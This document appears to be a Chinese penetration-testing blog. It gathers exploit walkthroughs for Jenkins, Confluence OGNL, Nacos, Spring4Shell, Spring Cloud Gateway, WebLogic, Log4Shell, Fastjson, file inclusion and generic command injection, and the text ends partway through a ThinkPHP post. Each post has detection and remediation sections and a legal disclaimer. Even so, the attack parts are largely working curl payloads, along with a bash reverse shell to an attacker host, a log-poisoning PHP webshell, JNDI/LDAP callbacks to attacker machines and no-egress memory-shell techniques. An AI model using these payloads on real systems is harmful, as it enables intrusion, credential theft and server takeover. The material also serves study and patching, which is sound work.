RCE on SoulJian小站

渗透思路：输入框 / 搜索框

Sat, 29 Aug 2026 23:59:00 +0800

写在前面：合法学习边界

本文思路只用于授权测试。对真实系统注入、执行命令可能触犯法律。

一、输入框为什么重要

输入框是攻击面最密集的地方：用户输入进入数据库、命令、模板、文件路径等不同上下文，都可能被利用。看到输入框，按“输入去哪了”来判断测什么。

二、先判断“输入去哪了”

1
2
3
4
5
6
7


进数据库查询 → SQL 注入
回显到页面 → XSS
拼进系统命令 → 命令注入
进模板渲染 → SSTI（模板注入）
进文件路径 → 路径穿越/文件包含
进 XML 解析 → XXE
进反序列化 → 反序列化

三、思路清单

1. SQL 注入

1
2
3
4


' / " / 单引号报错
' or 1=1--、' AND 1=1
时间盲注 SLEEP(5)
参数化 → 报错/布尔/时间区分

2. XSS

1
2
3


<script>alert(1)</script>
<img src=x onerror=alert(1)>
看回显位置（HTML/属性/JS）决定编码

3. 命令注入

1
2
3


; id、| whoami、&& id、`id`
$(whoami)
多出现在 ping、搜索、导出等功能

4. 模板注入（SSTI）

1
2


{{7*7}}、${7*7}、#{7*7}
识别模板引擎（Jinja2/Twig/FreeMarker…）

5. 路径穿越 / 文件包含

1
2
3


../../../../etc/passwd
php://filter 读源码
参数名如 file/path/page/download

6. 参数 fuzz

1
2


Burp Intruder / ffuf 对参数做 fuzz
测类型、长度、枚举值、越权

四、优先级

1
2
3
4


先看输入走向（决定测哪类漏洞）
SQL 注入 / 命令注入 / SSTI 优先（危害大）
XSS 看回显位置
路径穿越/文件包含看参数名

五、小结

输入框测试的关键是“先判断输入去哪了，再选对应漏洞打”。同样一个输入框，后端是拼 SQL 还是拼命令，决定了它是 SQL 注入还是命令注入。抓包看后端处理，比盲目试 payload 高效得多。

Jenkins 未授权访问与代码执行利用

Sat, 29 Aug 2026 19:30:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Jenkins 往往连着代码仓库与发布权限，入侵真实系统可能触犯法律。

一、漏洞原理

Jenkins 是 CI/CD 平台，权限配置不当极易被利用：

1
2
3
4


1. 未授权访问 /script 脚本控制台 → 执行 Groovy
2. CLI 文件读取（CVE-2024-23897）：args4j 解析器可读任意文件
3. 历史 RCE：CVE-2018-1000861（Groovy）、Git 插件等
4. 匿名用户权限过大（overall/read + script 权限）

本质：构建平台默认信任度高，权限与接口暴露就是灾难。

二、影响与危害

1
2
3


在构建节点/主节点执行命令
读取密钥、源码、凭据
利用构建任务横向到其他系统

风险等级：高到严重。

三、利用 / 复现

1. 脚本控制台执行 Groovy

1
2


访问 http://目标:8080/script（需相应权限/未授权）
在控制台输入：

1
2


println "id".execute().text
println new File("/etc/passwd").text

点 Run 即可看到命令输出。

2. CLI 文件读取（CVE-2024-23897）

1
2


# 低版本 Jenkins 通过 CLI 读文件
java -jar jenkins-cli.jar -s http://目标:8080/ connect-node @/etc/passwd

3. 爆破与弱口令

1
2


Jenkins 默认无密码（首次可创建用户）
尝试常见弱口令进入后台

四、检测

1
2
3
4


指纹：8080 端口、/jenkins 路径
探测 /script、/login、匿名权限
版本核对已知 CVE
日志中异常 /script 访问与 CLI 请求

五、防御

1
2
3
4


关闭匿名访问，强制认证
严格管理 /script 脚本控制台权限
限制 Jenkins 公网暴露
升级到安全版本

六、修复

1
2
3
4


升级 Jenkins 与插件到安全版本
收紧权限（脚本控制台仅管理员）
清理后门与异常任务
修复后复测：未授权访问与脚本执行被拒

七、小结

Jenkins 这类 CI/CD 是“高权限 + 易暴露”的组合，一旦被未授权/弱口令进入，就是代码和发布链路的失守。重点防护脚本控制台、匿名权限和公网暴露。

用友 NC 反序列化与接口 RCE 利用

Sat, 29 Aug 2026 19:20:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。用友 NC 多用于企业财务系统，入侵真实系统可能触犯法律。

一、漏洞原理

用友 NC/NCC 是国内企业常用的 ERP 系统，历史漏洞多且影响大。常见问题集中在：

1
2
3
4


1. 反序列化：接口对不可信对象反序列化 → RCE
2. BeanShell：部分版本存在 BeanShell 接口可直接执行
3. 文件上传：任意文件上传 → WebShell
4. 接口未授权：敏感接口可匿名访问

本质：ERP 系统功能多、历史包袱重，接口安全跟不上。

二、影响与危害

1
2
3


直接 RCE / GetShell
财务数据、数据库密码泄露
内网横向移动

风险等级：严重。

三、利用 / 复现

1. 反序列化

1
2
3


用友 NC 多个 Servlet/接口存在反序列化
配合 ysoserial（CommonsCollections 等）gadget 发送恶意序列化对象 → RCE
常见入口：/servlet/...、/NCFindWeb/...、NCCloud 相关接口

2. BeanShell

1
2


部分版本可访问 BeanShell 控制台/接口
通过 bsh 脚本执行命令

3. 文件上传

1
2


部分上传接口未校验类型
上传 JSP/WebShell 后访问执行

4. 工具化利用

1
2


网上有成熟的 NC 检测/利用脚本
先指纹识别版本，再对号入座打对应漏洞

四、检测

1
2
3
4


指纹：识别用友 NC 版本（登录页/特征路径）
探测反序列化接口与上传接口
版本核对已知 CVE 与公开 PoC
日志中异常序列化请求/上传文件

五、防御

1
2
3
4


升级到官方安全补丁版本
限制 ERP 系统公网暴露，走内网+VPN
对反序列化/上传接口做 WAF 防护
最小化开放端口

六、修复

1
2
3
4


及时打厂商补丁
清理已上传 WebShell 与后门
禁用不必要的接口与服务
修复后复测：反序列化与上传均被拒

七、小结

用友 NC 代表国内“老牌 ERP + 安全欠账”的典型场景。它的价值在于财务与内网数据，漏洞利用往往直通 GetShell。防护上“打补丁 + 收敛暴露面 + WAF”三件套缺一不可。

Confluence OGNL RCE 复现（CVE-2022-26134）

Sat, 29 Aug 2026 19:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Confluence RCE 可直接控制服务器，禁止对真实系统使用。

一、漏洞原理

CVE-2022-26134 是 Atlassian Confluence 未认证 OGNL 注入。Confluence 的 Webwork/XWork 框架会解析 URL 路径中的 OGNL 表达式，攻击者无需登录即可执行表达式 → RCE。

1

URL 路径 → 解析为 OGNL → 执行命令

影响版本（Confluence Server / Data Center）：

1
2
3
4
5
6
7


7.4.17 之前
7.13.0 – 7.13.7
7.14.0 – 7.14.2
7.15.0 – 7.15.1
7.16.0 – 7.16.3
7.17.0 – 7.17.2
7.18.0 – 7.18.1

二、影响与危害

1
2
3


未授权远程代码执行（RCE）
读取/篡改文档与配置
植入 WebShell、内网横向

风险等级：严重。

三、利用 / 复现

环境准备

1

docker run -d -p 8090:8090 --name conf vulhub/confluence:CVE-2022-26134

验证漏洞

构造 URL 编码的 OGNL，把命令结果回显到响应：

1

curl "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%29%29.%28%23a%29%7D/"

即 ${(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream()))} 的 URL 编码，响应里出现 uid= 即成功。

换命令

1
2


exec("whoami")
exec("cat /etc/passwd")

配合 nc 反弹 Shell 或写入 WebShell。

四、检测

1
2
3
4


请求路径中出现 ${ 的 URL 编码（%24%7B）与 OGNL 关键字
异常长路径、命令回显特征
Confluence 版本指纹核对
日志中大量异常路径请求

五、防御

1
2
3


升级 Confluence 到修复版本（7.4.17+/7.13.8+/7.18.2+ 等）
WAF 拦截 %24%7B 与 OGNL 关键字
限制 Confluence 公网暴露

六、修复

1
2
3
4


升级或应用官方补丁
清理已植入 WebShell/后门
限制管理端口与来源 IP
修复后复测：OGNL payload 不再执行

七、小结

Confluence 这种“文档/协作”组件常被忽略，但它是未认证 RCE 的高发区（OGNL 注入只是其中一个）。凡是暴露在公网、能当跳板的系统，都要纳入漏洞扫描与补丁管理。

Nacos 漏洞利用实战（未授权/认证绕过/反序列化）

Sat, 29 Aug 2026 19:00:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Nacos 里常存数据库密码与 AK/SK，读取真实配置可能触犯法律。

一、漏洞原理

Nacos 是阿里的微服务注册配置中心，生产里常存数据库密码、AK/SK、Token。它的问题集中在几类：

1
2
3
4
5


1. 默认/弱口令（nacos/nacos、nacos/admin）
2. 认证绕过（CVE-2021-29441，User-Agent/请求头伪造）
3. 未授权读取配置
4. Derby 内置数据库 SQL 注入
5. Raft Hessian 反序列化 RCE

本质：配置中心是高价值目标，却常被默认配置暴露在公网。

二、影响与危害

1
2
3


数据库密码、AK/SK、Token 批量泄露
微服务配置被篡改
反序列化直接 RCE、控制服务器

风险等级：高到严重（配置中心=全家桶钥匙）。

三、利用 / 复现

1. 默认口令登录

1
2


http://目标:8848/nacos
账号：nacos / nacos（老版本 admin/admin）

2. 认证绕过（CVE-2021-29441）

1
2
3


# 部分版本带 Nacos-Server 特征请求头可绕过鉴权
curl 'http://目标:8848/nacos/v1/auth/users?username=evil&password=evil' \
 -H 'User-Agent: Nacos-Server'

3. 未授权读配置

1
2


# 读取配置（需确认版本鉴权情况）
curl 'http://目标:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100'

4. Derby SQL 注入

1
2


# 内置 Derby 数据库存在 SQL 注入，可读取敏感数据
curl 'http://目标:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users'

5. Hessian 反序列化 RCE

1
2
3


Nacos 1.4.x / 2.x 的 Raft 服务存在 Hessian 反序列化链
配合 ysoserial 类 gadget 可实现 RCE
需内网可达 9848/7848 等 Raft 端口

四、检测

1
2
3
4


指纹：8848 端口、/nacos/ 路径
尝试默认口令与 /v1/auth/users 认证绕过
扫描 Derby 注入与未授权配置接口
版本指纹后核对已知 CVE（含 Hessian 链）

五、防御

1
2
3
4
5


修改默认口令并开启强密码
生产启用鉴权与访问控制
关闭公网暴露，Nacos 走内网
最小化开放端口（8848/9848/7848）
对配置中心做网络隔离

六、修复

1
2
3
4


升级 Nacos 到安全版本
重置泄露的密钥/数据库密码
开启鉴权并配置正确 serverIdentity
修复后复测：未授权与绕过请求被拒

七、小结

Nacos 是“一把钥匙开全部门”：拿到配置中心，等于拿到数据库密码和云密钥。实战中它常常因为默认口令和公网暴露被秒穿，务必归入资产清单重点排查。

Spring4Shell 复现（CVE-2022-22965）

Sat, 29 Aug 2026 18:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring4Shell 可直接控制服务器，禁止对真实系统使用。

一、漏洞原理

Spring4Shell（CVE-2022-22965）是 Spring Framework 核心的 RCE 漏洞，利用的是 Spring MVC/WebFlux 的数据绑定机制。

原理链路：

1
2
3
4


1. 请求参数通过数据绑定写入 POJO 属性
2. 绑定器（BeanWrapper）允许访问 class.module.classLoader 等敏感属性（JDK9+）
3. 攻击者借此修改 Tomcat 的 AccessLogValve 配置
4. 让 Tomcat 把请求写入 JSP 文件 → 访问即执行 → RCE

影响版本与条件：

1
2
3


Spring Framework 5.3.0 – 5.3.17
Spring Framework 5.2.0 – 5.2.19
要求：JDK 9+、Spring MVC/WebFlux、部署在 Tomcat

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
写 WebShell、反弹 Shell、内网横向

风险等级：严重。和 Log4Shell 并列的 2022 年高危漏洞。

三、利用 / 复现

环境准备

1
2


# Spring4Shell 靶场（Tomcat + JDK8 不行，需 JDK9+）
docker run -d -p 8080:8080 --name s4s vulhub/spring-4shell:jdk9

手工验证（关键参数）

构造一组数据绑定参数，把 Tomcat AccessLogValve 的日志写到可执行目录：

1
2
3
4
5


class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP内容>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/usr/local/tomcat/webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

再用 curl 发一个带 cmd 的请求，让日志把命令写入 JSP：

1
2


curl -X POST http://127.0.0.1:8080/xxxx?cmd=id \
 --data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=...' ...

访问生成的 shell.jsp 即可执行命令。

常用工具

1

python3 spring4shell.py（自动打）

四、检测

1
2
3
4


日志/流量中找 class.module.classLoader 关键字
AccessLogValve 相关参数（pipeline.first.pattern/suffix）
web 目录出现非业务 .jsp 文件
Spring 版本指纹 + JDK 版本确认

五、防御

1
2
3
4


升级 Spring Framework 到 5.3.18+ / 5.2.20+
禁用危险属性绑定（禁止 class.* 前缀）
WAF 拦截 class.module 关键字
Web 目录禁止写入

六、修复

1
2
3
4


立即升级 Spring 依赖
或配置 DataBinder 设置 allowed/disallowedFields 黑名单 class.*
清理已写入的 WebShell
修复后复测：class.module 参数被拒、不再生成文件

七、小结

Spring4Shell 的根因是数据绑定过度暴露了类内部属性。它和 Fastjson/Log4j 一样属于“组件默认行为导致 RCE”，防御核心是升级 + 禁用危险绑定 + WAF 拦截关键字。

Spring Cloud Gateway SpEL RCE 复现（CVE-2022-22947）

Sat, 29 Aug 2026 16:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring Cloud Gateway 漏洞利用影响真实服务，禁止对非授权目标使用。

一、漏洞原理

Spring Cloud Gateway 的 Actuator 提供网关路由管理端点。如果端点未认证，攻击者可以添加一条恶意路由，在路由的过滤器里写入 SpEL 表达式，Spring 在解析时会执行该表达式 → RCE。

1
2
3
4


1. POST /actuator/gateway/routes/{id} 添加恶意路由
2. 路由过滤器里带 SpEL：#{} 表达式
3. POST /actuator/gateway/refresh 触发刷新
4. 解析表达式执行命令

影响版本：

1
2
3


Spring Cloud Gateway 3.1.0 – 3.1.1
Spring Cloud Gateway 3.0.0 – 3.0.6
以及更早不安全的版本

二、影响与危害

1
2
3


远程代码执行（RCE）
Spring 应用被控制
内网横向

风险等级：严重。前提是 Actuator 网关端点暴露且未认证。

三、利用 / 复现

环境准备

1

docker run -d -p 8080:8080 --name scg vulhub/spring-cloud-gateway:CVE-2022-22947

第一步：确认端点存在

1

curl http://127.0.0.1:8080/actuator/gateway/routes

返回路由列表说明端点开放。

第二步：添加恶意路由（SpEL 注入）

1
2
3


curl -X POST http://127.0.0.1:8080/actuator/gateway/routes/hack \
 -H "Content-Type: application/json" \
 -d '{"id":"hack","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri":"http://example.com","predicates":[{"name":"Path","args":{"_genkey_0":"/hack/**"}}]}'

第三步：刷新并触发

1
2
3
4
5
6


# 触发路由刷新
curl -X POST http://127.0.0.1:8080/actuator/gateway/refresh
# 访问路由触发执行
curl http://127.0.0.1:8080/hack/xxx
# 查看结果（回显在响应头）
curl -i "http://127.0.0.1:8080/actuator/gateway/routes/hack"

命令输出会出现在 Result 响应头里。

注意细节

1
2
3


命令数组写法避免空格问题：new String[]{"id"}
回显在响应头，不在响应体
路由 id 需要唯一

四、检测

1
2
3
4


日志中找 actuator/gateway/routes 与 refresh 请求
请求体出现 SpEL 关键字（#{}、Runtime、StreamUtils）
异常新增路由与响应头 Result
Spring 应用暴露未认证 actuator 端点

五、防御

1
2
3
4


生产环境关闭或认证 Actuator 端点
网关路由端点禁止匿名访问
WAF 拦截 SpEL 注入特征
按最小权限暴露 actuator

六、修复

1
2
3
4


升级 Spring Cloud Gateway 到 3.1.2+/3.0.7+
对 actuator 加认证与网络限制
清理已添加的恶意路由
修复后复测：SpEL 路由被拒、端点不可匿名访问

七、小结

CVE-2022-22947 提醒：Spring 的 Actuator 端点默认暴露就是风险面。测试时先扫 /actuator 相关路径，再判断有没有网关路由接口；防御核心是“端点要认证、版本要升级”。

WebLogic CVE-2020-14882 未授权 RCE 复现

Sat, 29 Aug 2026 16:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。WebLogic 漏洞利用可直接控制中间件，禁止对真实系统使用。

一、漏洞原理（两个 CVE 是一条链）

1
2


CVE-2020-14882：路径编码绕过认证，未授权访问管理后台 console
CVE-2020-14883：配合后台的 handle 参数执行命令（RCE）

1
2


14882：URL 里把 /console/ 用 %2e%2e 编码绕过权限判断
14883：未授权拿到后台后，用 ShellSession 执行任意命令

影响版本：

1
2
3
4


WebLogic 10.3.6.0
12.1.3.0
12.2.1.3 / 12.2.1.4
14.1.1.0

二、影响与危害

1
2
3


未授权进入管理后台
直接命令执行（RCE）
中间件完全控制、内网横向

风险等级：严重。WebLogic 在内网 Java 系统里非常常见。

三、利用 / 复现

环境准备

1

docker run -d -p 7001:7001 --name wl vulhub/weblogic:CVE-2020-14882

第一步：验证未授权访问（14882）

1
2


# 路径编码绕过
curl -k "http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal"

能返回 console 页面且无需登录，说明 14882 成立。

第二步：命令执行（14883）

老版本（10.3.6/12.1.3，未授权即可执行）：

1

curl -k "http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('id');\")"

新版本（12.2.1.3+）默认关闭直接执行，需要先结合其他方式（如写文件）或利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 加载远程 XML 实现 RCE。

回显技巧

1
2


命令无直接回显时：把结果写到 web 目录再访问
例如 exec("cmd /c whoami > servers/AdminServer/.../console_ext/1.txt")

四、检测

1
2
3
4


日志中找 /console/ 与 %2e%2e、%252e%252e 编码
访问 console 的 IP 不在白名单
出现 ShellSession、Runtime.getRuntime 关键字
异常出站连接与命令执行痕迹

五、防御

1
2
3
4


限制 console 访问来源（白名单/内网）
WAF 拦截 %2e%2e 与 ShellSession 关键字
升级到已修复版本
对 admin 端口做网络隔离

六、修复

1
2
3
4


升级 WebLogic 到官方安全补丁（含 14882/14883 修复）
关闭不必要的 console 暴露
给管理后台加二次认证/强口令
修复后复测：编码绕过路径与命令执行均被拒

七、小结

14882+14883 是“未授权 + 命令执行”的标准组合。识别特征：7001 端口 + /console/ 路径 + %2e%2e 编码。打 WebLogic 这类中间件，先判断版本，因为新旧版本利用链完全不同。

RCE：代码执行与命令执行实战

Sat, 29 Aug 2026 15:30:00 +0800

写在前面：合法学习边界

RCE 测试只允许在自建靶场或授权环境进行。对真实系统执行命令、反弹 Shell 可能触犯法律。

一、漏洞原理

RCE（远程代码/命令执行）是一个大类，凡是“服务器执行了攻击者控制的内容”都属于它。

常见入口：

1
2
3
4
5


命令执行：拼接系统命令（ping、eval、模板）
代码执行：eval、动态函数、模板注入
反序列化：加载恶意对象
框架漏洞：Struts2、ThinkPHP、Fastjson、Log4j
组件漏洞：上传 WebShell 后执行

共同本质：不可信输入进入了可执行路径。

二、影响与危害

1
2
3


完全控制服务器
读取/篡改数据、植入后门
内网横向移动

风险等级：严重，几乎是渗透的最终目标之一。

三、利用 / 复现

命令执行

1
2
3


# 参数拼接命令
curl "http://目标/ping?ip=127.0.0.1;id"
curl "http://目标/ping?ip=127.0.0.1 && whoami"

代码执行

1
2
3


模板注入（SSTI）：{{7*7}} 验证
eval 型接口传代码
动态函数名参数

验证与反弹

1
2
3
4


# 先验证，再反弹
curl "http://目标/?cmd=id"
# 反弹 Shell
bash -i >& /dev/tcp/攻击机/4444 0>&1

配合 nc 监听：

1

nc -lvnp 4444

四、检测

1
2
3
4


日志中找 ;、|、&&、`、${} 等命令分隔符
SSTI 特征 {{、${、#{ 等模板标记
对 RCE 类组件（Fastjson/Log4j/Struts2）做指纹
异常子进程与出站连接

五、防御

1
2
3
4
5


参数化调用，不拼 shell 字符串
禁用危险函数/动态执行
过滤命令分隔符与模板标记
输入白名单与最小权限
WAF 拦截命令执行特征

六、修复

1
2
3
4


代码层：改用安全 API、删 eval/危险函数
组件层：升级框架与依赖（Struts2/Fastjson/Log4j 等）
系统层：最小权限、补丁、网络隔离
修复后复测：命令与模板 payload 均不再执行

七、小结

RCE 是很多攻击链的“终点”。它入口很多（命令、代码、反序列化、组件），但本质一致——让服务器执行攻击者可控的东西。防御要代码、组件、系统三层一起做。

文件包含漏洞：LFI / RFI 实战

Sat, 29 Aug 2026 15:00:00 +0800

写在前面：合法学习边界

文件包含测试只允许在自建靶场或授权环境进行。对真实系统读文件、写入 getshell 可能触犯法律。

一、漏洞原理

很多语言有“包含文件”的功能（PHP 的 include/require、JSP 的 include、模板引擎）。如果包含的路径由用户输入控制，就产生文件包含漏洞。

1

include($_GET['page'] . '.php');

用户传 ?page=../../../../etc/passwd，就可能把系统文件读进页面。

两种类型：

1
2


LFI：包含服务器本地文件
RFI：包含远程 URL 文件（require 允许时）

漏洞本质：用户可控输入进入了文件路径/包含流程。

二、影响与危害

1
2
3
4


读取任意文件（配置、源码、密码文件）
配合日志/临时文件包含 → Getshell(RCE)
RFI 直接加载远程恶意文件
内网信息泄露

风险等级：高到严重。

三、利用 / 复现

LFI 读文件

1
2
3
4
5


# 目录穿越读 /etc/passwd
curl http://目标/index.php?page=../../../../etc/passwd
# 常见过滤绕过
curl http://目标/index.php?page=....//....//....//etc/passwd
curl http://目标/index.php?page=..%2f..%2f..%2fetc%2fpasswd

PHP 过滤器读源码（不执行）

1
2


curl http://目标/index.php?page=php://filter/convert.base64-encode/resource=index.php
# 把 base64 解码即得源码

日志包含 Getshell

先让 Web 日志里写入一句话，再包含日志文件：

1
2
3
4


# 1. User-Agent 写入 PHP 代码
curl -H "User-Agent: <?php system(\$_GET['c']);?>" http://目标/index.php?page=1
# 2. 包含日志文件
curl http://目标/index.php?page=../../../../var/log/apache2/access.log&c=id

RFI

1

curl http://目标/index.php?page=http://攻击机/shell.txt

前提是 allow_url_include 开启。

四、检测

1
2
3


参数中出现路径穿越、php://、http://、data://
日志里包含关键字 php://filter、../../、/etc/passwd
请求带异常 UA 后跟随日志包含请求

五、防御

1
2
3
4


对 include 路径做白名单映射
禁止用户直接控制文件路径
关闭 allow_url_include
对 ..、php://、http:// 等做校验

六、修复

1
2
3
4


改用白名单/映射表，不用用户输入拼路径
统一过滤 ../ 与编码变体
升级配置关闭远程包含
修复后复测：穿越与过滤器 payload 均被拦截

七、小结

文件包含的关键是“用户输入进了路径”。它和目录遍历是兄弟，但更危险——LFI 能读源码、配合日志还能 Getshell。测试时优先找 page/file/template 这类参数。

Log4j2 RCE 漏洞复现与缓解

Sat, 29 Aug 2026 13:30:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Log4Shell 影响面极广，禁止对真实系统触发 ${jndi:...} payload。

一、漏洞原理

Log4j2 的日志格式化支持 ${} 查找表达式（Lookup），其中包含 JNDI 查找。攻击者只要把 ${jndi:ldap://...} 塞进任何会被日志记录的字段（用户名、User-Agent、参数），服务器记录日志时就会发起 JNDI 查询，加载远程恶意对象 → RCE。

核心链路：

1
2
3
4


1. 日志记录不可信输入
2. 输入含 ${jndi:ldap://攻击机/Exploit}
3. Log4j2 解析表达式发起 JNDI 查询
4. 加载恶意类 → 命令执行

影响版本：Log4j2 2.0 – 2.14.1（CVE-2021-44228）。

二、影响与危害

1
2
3


远程代码执行（RCE）
几乎所有用 Log4j2 记录的输入点都可能触发
Java 应用、中间件、供应链组件大面积受影响

风险等级：严重，是 2021 年影响面最大的漏洞之一。

三、利用 / 复现

环境准备

靶场：一个用 Log4j2 记录日志的 Java 应用；攻击机：JNDI 工具（如 JNDIExploit）+ 监听端口。

第一步：用 DNSLog 验证是否存在

构造不执行命令、只做 DNS 回显的 payload：

1

${jndi:ldap://xxxxxxxx.dnslog.cn/a}

放到 User-Agent 或用户名里，触发一次请求，到 DNSLog 平台看有没有收到解析记录。

第二步：执行命令（授权环境）

1

curl -H 'User-Agent: ${jndi:ldap://攻击机:1389/Exploit}' http://127.0.0.1:8080/

攻击机 JNDI 服务返回恶意类，目标执行命令或反弹 Shell。

常见触发点

1
2
3


User-Agent、Referer、X-Forwarded-For
用户名、搜索关键词
任意被写进日志的输入字段

四、检测

1
2
3
4


日志/流量中搜 ${jndi:、${ldap:、${rmi:
异常 DNS 查询（对外 LDAP 1389/389、RMI 1099）
JNDI 出站流量到可疑域名
用扫描器批量验证受影响的输入点

五、防御

1
2
3
4


WAF 拦截 ${jndi: 及编码变体
关闭 JNDI 出站（防火墙/安全组）
对日志输入统一过滤特殊表达式
及时安装补丁

六、修复

1
2
3
4


升级 Log4j2 到 2.17.1+（含各分支修复版）
无法升级时设置 -Dlog4j2.formatMsgNoLookups=true
移除不必要的 JNDI/Lookup 依赖
修复后复测：${jndi: 不再触发 JNDI 查询

七、小结

Log4Shell 的教训是“日志输入也是攻击面”：凡是会被记录的不可信字段，都可能成为 RCE 入口。防御核心是升级 + 关闭 JNDI + WAF 拦截，并把它纳入组件漏洞清单持续监控。

Fastjson 反序列化 RCE 漏洞复现

Sat, 29 Aug 2026 13:20:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Fastjson 反序列化利用可直接控制目标，禁止对真实系统使用。

一、漏洞原理

Fastjson 的 @type 支持在 JSON 里指定要反序列化的类。当 autoType 开启（或绕过校验）时，攻击者可以指定危险类，触发 JNDI 注入或恶意方法链，最终造成命令执行。

核心链路：

1
2
3
4


1. JSON 里带 "@type": 恶意类
2. Fastjson 反序列化时加载该类
3. 类通过 JNDI/LDAP/RMI 拉取远程恶意对象
4. 恶意对象被加载执行 → RCE

影响版本：

1
2


Fastjson ≤ 1.2.24（经典版本）
以及后续多个存在 autoType 绕过问题的版本

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
内网横向移动

风险等级：严重。Fastjson 广泛用于 Java 接口，是实战高频目标。

三、利用 / 复现

环境准备

用 Docker 起 Fastjson 靶场，并在攻击机准备 JNDI 利用工具（如 JNDIExploit / marshalsec）。

第一步：验证是否使用 Fastjson

发送特殊键触发异常，看响应是否暴露 Fastjson 特征：

1

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

第二步：构造恶意 JSON

1
2
3
4
5


{
 "@type": "com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName": "ldap://攻击机:1389/Exploit",
 "autoCommit": true
}

攻击机用 JNDI 工具起 LDAP 服务，把 Exploit 指向一个恶意类。

第三步：触发并验证

1
2
3


curl -X POST http://127.0.0.1:8080/ \
 -H "Content-Type: application/json" \
 -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机:1389/Exploit","autoCommit":true}'

恶意类执行 id / 反弹 Shell，攻击机收到回连即验证成功。

不出网利用（重点）

很多实战环境目标无法访问攻击机（LDAP/RMI/HTTP 全被拦住），ldap://攻击机 这种 JNDI 出网打法会失败。这时要换思路：

思路一：TemplatesImpl 加载字节码（不出网首选）

利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，把恶意字节码塞进 JSON，由目标本地加载，不需要 JNDI 出网：

1
2
3
4
5
6
7


{
 "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 "_bytecodes": ["<Base64后的恶意class>"],
 "_name": "a",
 "_tfactory": {},
 "_outputProperties": {}
}

恶意 class 写成继承 AbstractTranslet，在 transform 里执行命令/写内存马。

前提：

1
2


目标 JVM 里存在 TemplatesImpl（JDK 自带）
对应 Fastjson 版本允许该 gadget（部分版本需要 checkAutoType 绕过）

思路二：打内存马（不出网持久化）

即使不能反弹 Shell，也可以往 Java 应用里注入内存马（Filter/Controller 型），用冰蝎/哥斯拉直接连接：

1
2


字节码写 Filter 型内存马 → 部署到应用上下文
后续用 webshell 工具连接，不走外连

思路三：打已有链/本地组件

1
2
3


HikariDataSource + JNDI 方式打 JDBC 连接串
BeanFactory / JdbcRowSetImpl 等本地链
利用应用自身依赖做二次利用

如何判断“出不出网”

1
2
3


用 DNSLog：发 ${jndi:ldap://xxx.dnslog.cn/a}，看是否有 DNS 回显
无回显 → 默认按不出网处理，直接上 TemplatesImpl/内存马
有回显 → 正常 JNDI 出网打法

四、检测

1
2
3
4


日志中找 "@type" 与常见恶意类名
请求中出现 ldap://、rmi://、jndi:
异常的长 JSON 与反序列化请求
对 Fastjson 版本做指纹确认

五、防御

1
2
3
4


关闭或严格限制 autoType
对 JSON 解析做类白名单
WAF 拦截 @type 与 jndi:/ldap:/rmi:
隔离 Java 应用运行环境

六、修复

1
2
3
4


升级 Fastjson 到安全版本（1.2.83+，并关注后续修复）
或直接迁移到 Jackson 等更安全的 JSON 库
用 safeMode 关闭 autoType
升级后复测：@type 恶意 payload 不再被解析执行

七、小结

Fastjson 漏洞的本质是“JSON 里带类名 → 反序列化加载 → JNDI 触发 RCE”。这类组件漏洞的防御核心是：升级 + 关 autoType + 白名单 + 隔离运行。

ThinkPHP 5.x RCE 漏洞复现

Sat, 29 Aug 2026 11:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。ThinkPHP 漏洞利用影响真实业务，禁止对非授权目标使用。请先搭建隔离环境。

一、漏洞原理

ThinkPHP 5.x 默认支持“魔术路由”，允许通过 URL 直接调用类方法。攻击者利用这一点，把 URL 参数构造成函数回调链。

核心原理：

1
2
3


1. 路由解析：?s=/index/\think\app/invokefunction
2. 触发调用：invokefunction → call_user_func_array
3. 参数可控：vars 参数里传函数名和参数

漏洞本质：框架默认路由把不可信输入变成了函数调用链，属于典型的“输入进入执行流程”。

影响版本：

1
2


ThinkPHP 5.0.x（5.0.23 及之前）
ThinkPHP 5.1.x（部分版本）

二、漏洞影响与危害

无需登录、无需认证，直接通过 GET 请求执行系统命令：

1
2
3
4


服务器命令执行（RCE）
读取/篡改源码与配置文件
反弹 Shell、植入后门
横向打内网

风险等级：严重。ThinkPHP 在国内使用量极大，是实战中命中率最高的框架漏洞之一。

三、漏洞利用 / 复现

环境准备

1

docker run -d -p 8081:80 --name tp5 medicean/vulapps:t_thinkphp_5.0.23

